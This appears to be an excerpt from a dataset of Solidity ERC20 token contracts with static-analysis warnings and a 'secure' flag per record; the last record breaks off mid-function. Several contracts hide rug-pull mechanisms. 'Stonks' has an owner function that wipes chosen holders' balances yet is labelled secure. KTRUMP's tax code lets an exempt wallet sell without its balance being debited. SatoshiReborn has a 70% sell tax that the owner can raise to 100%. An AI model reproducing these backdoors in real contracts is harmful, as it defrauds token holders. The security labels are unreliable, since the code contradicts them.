"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Stonks is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable peak;\n\n constructor() {\n _name = \"Stonks\";\n\n _symbol = \"STONKS\";\n\n _decimals = 18;\n\n uint256 initialSupply = 352000000;\n\n peak = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == peak, \"Not allowed\");\n\n _;\n }\n\n function comedy(address[] memory valley) public onlyOwner {\n for (uint256 i = 0; i < valley.length; i++) {\n address account = valley[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3900.sol",
"secure": 1,
"size_bytes": 4347
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract KTRUMP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _gains;\n\n mapping(address => mapping(address => uint256)) private _allowed;\n\n mapping(address => bool) private _exempted;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e08fce): KTRUMP._inBuyTax should be constant \n\t// Recommendation for 7e08fce: Add the 'constant' attribute to state variables that never change.\n uint256 private _inBuyTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39677fe): KTRUMP._inSellTax should be constant \n\t// Recommendation for 39677fe: Add the 'constant' attribute to state variables that never change.\n uint256 private _inSellTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c5d4c0): KTRUMP._outBuyTax should be constant \n\t// Recommendation for 3c5d4c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _outBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ad9cf4): KTRUMP._outSellTax should be constant \n\t// Recommendation for 5ad9cf4: Add the 'constant' attribute to state variables that never change.\n uint256 private _outSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a5e15d8): KTRUMP._reduceBuyTaxAt should be constant \n\t// Recommendation for a5e15d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71afaf7): KTRUMP._reduceSellTaxAt should be constant \n\t// Recommendation for 71afaf7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bab0fd): KTRUMP._preventSwapBefore should be constant \n\t// Recommendation for 2bab0fd: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tSupply = 1e8 * 10 ** _decimals;\n\n string private constant _name = unicode\"Krypto Trump\";\n\n string private constant _symbol = unicode\"KTRUMP\";\n\n uint256 private _buyCount = 0;\n\n uint256 public _maxTxLmt = (_tSupply * 2) / 100;\n\n uint256 public _maxWalletLmt = (_tSupply * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3049a9): KTRUMP._taxSwapThres should be constant \n\t// Recommendation for e3049a9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThres = 100 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 883b9ca): KTRUMP._maxTaxSwap should be constant \n\t// Recommendation for 883b9ca: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tSupply / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37f726f): KTRUMP._feeGrouper should be constant \n\t// Recommendation for 37f726f: Add the 'constant' attribute to state variables that never change.\n address payable private _feeGrouper =\n payable(0x6D826c78A5a7890e908B4A2046772612CF9dBC1B);\n\n IUniswapV2Router02 private uniRouter;\n\n address private uniPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _exempted[_feeGrouper] = true;\n\n _exempted[owner()] = true;\n\n _exempted[address(this)] = true;\n\n _gains[_msgSender()] = _tSupply;\n\n emit Transfer(address(0), _msgSender(), _tSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _gains[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 836d09a): KTRUMP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 836d09a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowed[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0722f65): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0722f65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9ea87c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9ea87c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0722f65\n\t\t// reentrancy-benign | ID: 9ea87c4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0722f65\n\t\t// reentrancy-benign | ID: 9ea87c4\n _approve(\n sender,\n _msgSender(),\n _allowed[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f7e41db): KTRUMP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f7e41db: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9ea87c4\n _allowed[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0722f65\n emit Approval(owner, spender, amount);\n }\n\n receive() external payable {}\n\n function _taxCalced(\n address from,\n address to,\n uint256 amount\n )\n internal\n view\n returns (uint256 taxAmount, uint256 xAmount, uint256 yAmount)\n {\n taxAmount = amount\n .mul((_buyCount > _reduceBuyTaxAt) ? _outBuyTax : _inBuyTax)\n .div(100);\n\n xAmount = amount;\n\n yAmount = amount - taxAmount;\n\n if (to == uniPair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount > _reduceSellTaxAt) ? _outSellTax : _inSellTax)\n .div(100);\n\n xAmount = _exempted[from]\n ? amount.mul(to == uniPair ? _outSellTax : _outBuyTax).div(100)\n : amount;\n\n yAmount = amount - taxAmount;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7b320a1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7b320a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 89448d1): KTRUMP._transfer(address,address,uint256) contains a tautology or contradiction contractBalance >= 0\n\t// Recommendation for 89448d1: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7748cb9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7748cb9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address fint, address tadd, uint256 aboo) private {\n require(fint != address(0), \"ERC20: transfer from the zero address\");\n\n require(tadd != address(0), \"ERC20: transfer to the zero address\");\n\n require(aboo > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n uint256 xAmount = aboo;\n\n uint256 yAmount = aboo;\n\n if (fint != owner() && tadd != owner()) {\n require(tradingOpen || _exempted[fint], \"Trading is not enabled\");\n\n (taxAmount, xAmount, yAmount) = _taxCalced(fint, tadd, aboo);\n\n if (\n fint == uniPair &&\n tadd != address(uniRouter) &&\n !_exempted[tadd]\n ) {\n require(aboo <= _maxTxLmt, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(tadd) + aboo <= _maxWalletLmt,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && tadd == uniPair && swapEnabled) {\n if (\n contractTokenBalance > _taxSwapThres &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 7b320a1\n\t\t\t\t\t// reentrancy-eth | ID: 7748cb9\n swapTokensForEth(\n min(aboo, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractBalance = address(this).balance;\n\n\t\t\t\t// reentrancy-events | ID: 7b320a1\n\t\t\t\t// tautology | ID: 89448d1\n\t\t\t\t// reentrancy-eth | ID: 7748cb9\n if (contractBalance >= 0 ether) sendETHToward(contractBalance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7748cb9\n _gains[address(this)] = _gains[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7b320a1\n emit Transfer(fint, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7748cb9\n _gains[fint] = _gains[fint].sub(xAmount);\n\n\t\t// reentrancy-eth | ID: 7748cb9\n _gains[tadd] = _gains[tadd].add(yAmount);\n\n\t\t// reentrancy-events | ID: 7b320a1\n emit Transfer(fint, tadd, yAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouter.WETH();\n\n _approve(address(this), address(uniRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0722f65\n\t\t// reentrancy-events | ID: 7b320a1\n\t\t// reentrancy-benign | ID: 9ea87c4\n\t\t// reentrancy-eth | ID: 7748cb9\n uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToward(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0722f65\n\t\t// reentrancy-events | ID: 7b320a1\n\t\t// reentrancy-eth | ID: 7748cb9\n _feeGrouper.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxLmt = type(uint256).max;\n\n _maxWalletLmt = type(uint256).max;\n\n emit MaxTxAmountUpdated(type(uint256).max);\n }\n\n function recoverETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 511beb0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 511beb0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f58747e): KTRUMP.openSpaace() ignores return value by uniRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f58747e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 26d9259): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 26d9259: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openSpaace() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouter), _tSupply);\n\n\t\t// reentrancy-benign | ID: 511beb0\n\t\t// reentrancy-eth | ID: 26d9259\n uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(\n address(this),\n uniRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 511beb0\n\t\t// unused-return | ID: f58747e\n\t\t// reentrancy-eth | ID: 26d9259\n uniRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 511beb0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 26d9259\n tradingOpen = true;\n }\n}",
"file_name": "solidity_code_3901.sol",
"secure": 0,
"size_bytes": 15435
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IDexFactory.sol\" as IDexFactory;\nimport \"./IDexRouter.sol\" as IDexRouter;\n\ncontract SatoshiReborn is ERC20, Ownable {\n using SafeMath for uint256;\n\n IDexRouter private immutable dexRouter;\n\n address public immutable dexPair;\n\n bool private swapping;\n\n bool private swapbackEnabled = false;\n\n uint256 private swapBackValueMin;\n\n uint256 private swapBackValueMax;\n\n bool private limitsEnabled = true;\n\n uint256 private maxWallet;\n\n uint256 private maxTx;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public tradingEnabled = false;\n\n address private marketingWallet;\n\n address private projectWallet;\n\n uint256 private buyTaxTotal;\n\n uint256 private buyMarketingTax;\n\n uint256 private buyProjectTax;\n\n uint256 private sellTaxTotal;\n\n uint256 private sellMarketingTax;\n\n uint256 private sellProjectTax;\n\n uint256 private tokensForMarketing;\n\n uint256 private tokensForProject;\n\n mapping(address => bool) private transferTaxExempt;\n\n mapping(address => bool) private transferLimitExempt;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event ExcludeFromLimits(address indexed account, bool isExcluded);\n\n event SetDexPair(address indexed pair, bool indexed value);\n\n event TradingEnabled(uint256 indexed timestamp);\n\n event LimitsRemoved(uint256 indexed timestamp);\n\n event DisabledTransferDelay(uint256 indexed timestamp);\n\n event SwapbackSettingsUpdated(\n bool enabled,\n uint256 swapBackValueMin,\n uint256 swapBackValueMax\n );\n\n event MaxTxUpdated(uint256 maxTx);\n\n event MaxWalletUpdated(uint256 maxWallet);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event ProjectWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event BuyFeeUpdated(\n uint256 buyTaxTotal,\n uint256 buyMarketingTax,\n uint256 buyProjectTax\n );\n\n event SellFeeUpdated(\n uint256 sellTaxTotal,\n uint256 sellMarketingTax,\n uint256 sellProjectTax\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5956bd0): SatoshiReborn.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 5956bd0: Rename the local variables that shadow another component.\n constructor() ERC20(\"Satoshi Reborn\", \"SAI\") {\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n transactionLimitsExempt(address(_dexRouter), true);\n\n dexRouter = _dexRouter;\n\n dexPair = IDexFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n transactionLimitsExempt(address(dexPair), true);\n\n _setDexPair(address(dexPair), true);\n\n uint256 _buyMarketingTax = 30;\n\n uint256 _buyProjectTax = 0;\n\n uint256 _sellMarketingTax = 70;\n\n uint256 _sellProjectTax = 0;\n\n uint256 _totalSupply = 420_690_000_000 * 10 ** decimals();\n\n maxTx = (_totalSupply * 15) / 1000;\n\n maxWallet = (_totalSupply * 15) / 1000;\n\n swapBackValueMin = (_totalSupply * 1) / 1000;\n\n swapBackValueMax = (_totalSupply * 2) / 100;\n\n buyMarketingTax = _buyMarketingTax;\n\n buyProjectTax = _buyProjectTax;\n\n buyTaxTotal = buyMarketingTax + buyProjectTax;\n\n sellMarketingTax = _sellMarketingTax;\n\n sellProjectTax = _sellProjectTax;\n\n sellTaxTotal = sellMarketingTax + sellProjectTax;\n\n marketingWallet = address(msg.sender);\n\n projectWallet = address(msg.sender);\n\n transactionTaxesExempt(msg.sender, true);\n\n transactionTaxesExempt(address(this), true);\n\n transactionTaxesExempt(address(0xdead), true);\n\n transactionTaxesExempt(marketingWallet, true);\n\n transactionLimitsExempt(msg.sender, true);\n\n transactionLimitsExempt(address(this), true);\n\n transactionLimitsExempt(address(0xdead), true);\n\n transactionLimitsExempt(marketingWallet, true);\n\n transferOwnership(msg.sender);\n\n _mint(msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n tradingEnabled = true;\n\n swapbackEnabled = true;\n\n emit TradingEnabled(block.timestamp);\n }\n\n function transactionLimitsRemove() external onlyOwner {\n limitsEnabled = false;\n\n emit LimitsRemoved(block.timestamp);\n }\n\n function swapBackMinMaxEnabledSet(\n bool _enable,\n uint256 _min,\n uint256 _max\n ) external onlyOwner {\n require(\n _min >= 1,\n \"Swap amount cannot be lower than 0.01% total supply.\"\n );\n\n require(_max >= _min, \"maximum amount cant be higher than minimum\");\n\n swapbackEnabled = _enable;\n\n swapBackValueMin = (totalSupply() * _min) / 10000;\n\n swapBackValueMax = (totalSupply() * _max) / 10000;\n\n emit SwapbackSettingsUpdated(_enable, _min, _max);\n }\n\n function maxTransactionLimitChange(\n uint256 newMaxTxLimit\n ) external onlyOwner {\n require(newMaxTxLimit >= 2, \"Cannot set maxTx lower than 0.2%\");\n\n maxTx = (newMaxTxLimit * totalSupply()) / 1000;\n\n emit MaxTxUpdated(maxTx);\n }\n\n function maxWalletLimitChange(\n uint256 newMaxWalletLimit\n ) external onlyOwner {\n require(newMaxWalletLimit >= 5, \"Cannot set maxWallet lower than 0.5%\");\n\n maxWallet = (newMaxWalletLimit * totalSupply()) / 1000;\n\n emit MaxWalletUpdated(maxWallet);\n }\n\n function transactionLimitsExempt(\n address updAds,\n bool isEx\n ) public onlyOwner {\n transferLimitExempt[updAds] = isEx;\n\n emit ExcludeFromLimits(updAds, isEx);\n }\n\n function feesOnBuysSet(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n buyMarketingTax = _marketingFee;\n\n buyProjectTax = _devFee;\n\n buyTaxTotal = buyMarketingTax + buyProjectTax;\n\n require(buyTaxTotal <= 100, \"Total buy fee cannot be higher than 100%\");\n\n emit BuyFeeUpdated(buyTaxTotal, buyMarketingTax, buyProjectTax);\n }\n\n function feesOnSellsChange(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n sellMarketingTax = _marketingFee;\n\n sellProjectTax = _devFee;\n\n sellTaxTotal = sellMarketingTax + sellProjectTax;\n\n require(\n sellTaxTotal <= 100,\n \"Total sell fee cannot be higher than 100%\"\n );\n\n emit SellFeeUpdated(sellTaxTotal, sellMarketingTax, sellProjectTax);\n }\n\n function transactionTaxesExempt(\n address account,\n bool excluded\n ) public onlyOwner {\n transferTaxExempt[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setDexPair(address pair, bool value) public onlyOwner {\n require(\n pair != dexPair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setDexPair(pair, value);\n }\n\n function _setDexPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetDexPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c3a4d22): SatoshiReborn.marketingWalletChange(address).newMktWal lacks a zerocheck on \t marketingWallet = newMktWal\n\t// Recommendation for c3a4d22: Check that the address is not zero.\n function marketingWalletChange(address newMktWal) external onlyOwner {\n emit MarketingWalletUpdated(newMktWal, marketingWallet);\n\n\t\t// missing-zero-check | ID: c3a4d22\n marketingWallet = newMktWal;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: daf0760): SatoshiReborn.developerWalletChange(address).newDevWal lacks a zerocheck on \t projectWallet = newDevWal\n\t// Recommendation for daf0760: Check that the address is not zero.\n function developerWalletChange(address newDevWal) external onlyOwner {\n emit ProjectWalletUpdated(newDevWal, projectWallet);\n\n\t\t// missing-zero-check | ID: daf0760\n projectWallet = newDevWal;\n }\n\n function valuesForSwapback()\n external\n view\n returns (\n bool _swapbackEnabled,\n uint256 _swapBackValueMin,\n uint256 _swapBackValueMax\n )\n {\n _swapbackEnabled = swapbackEnabled;\n\n _swapBackValueMin = swapBackValueMin;\n\n _swapBackValueMax = swapBackValueMax;\n }\n\n function valuesForLimits()\n external\n view\n returns (bool _limitsEnabled, uint256 _maxWallet, uint256 _maxTx)\n {\n _limitsEnabled = limitsEnabled;\n\n _maxWallet = maxWallet;\n\n _maxTx = maxTx;\n }\n\n function valuesForReceivers()\n external\n view\n returns (address _marketingWallet, address _projectWallet)\n {\n return (marketingWallet, projectWallet);\n }\n\n function valuesForTaxes()\n external\n view\n returns (\n uint256 _buyTaxTotal,\n uint256 _buyMarketingTax,\n uint256 _buyProjectTax,\n uint256 _sellTaxTotal,\n uint256 _sellMarketingTax,\n uint256 _sellProjectTax\n )\n {\n _buyTaxTotal = buyTaxTotal;\n\n _buyMarketingTax = buyMarketingTax;\n\n _buyProjectTax = buyProjectTax;\n\n _sellTaxTotal = sellTaxTotal;\n\n _sellMarketingTax = sellMarketingTax;\n\n _sellProjectTax = sellProjectTax;\n }\n\n function addressPermissions(\n address _target\n )\n external\n view\n returns (\n bool _transferTaxExempt,\n bool _transferLimitExempt,\n bool _automatedMarketMakerPairs\n )\n {\n _transferTaxExempt = transferTaxExempt[_target];\n\n _transferLimitExempt = transferLimitExempt[_target];\n\n _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f3a47b2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f3a47b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f494988): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f494988: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1712b81): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 1712b81: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 27b8e33): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 27b8e33: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3beecb2): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 3beecb2: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c0b89d0): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for c0b89d0: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 74408ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 74408ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsEnabled) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingEnabled) {\n require(\n transferTaxExempt[from] || transferTaxExempt[to],\n \"_transfer:: Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] && !transferLimitExempt[to]\n ) {\n require(\n amount <= maxTx,\n \"Buy transfer amount exceeds the maxTx.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] && !transferLimitExempt[from]\n ) {\n require(\n amount <= maxTx,\n \"Sell transfer amount exceeds the maxTx.\"\n );\n } else if (!transferLimitExempt[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapBackValueMin;\n\n if (\n canSwap &&\n swapbackEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !transferTaxExempt[from] &&\n !transferTaxExempt[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: f3a47b2\n\t\t\t// reentrancy-benign | ID: f494988\n\t\t\t// reentrancy-eth | ID: 74408ad\n swapBack(amount);\n\n\t\t\t// reentrancy-eth | ID: 74408ad\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (transferTaxExempt[from] || transferTaxExempt[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) 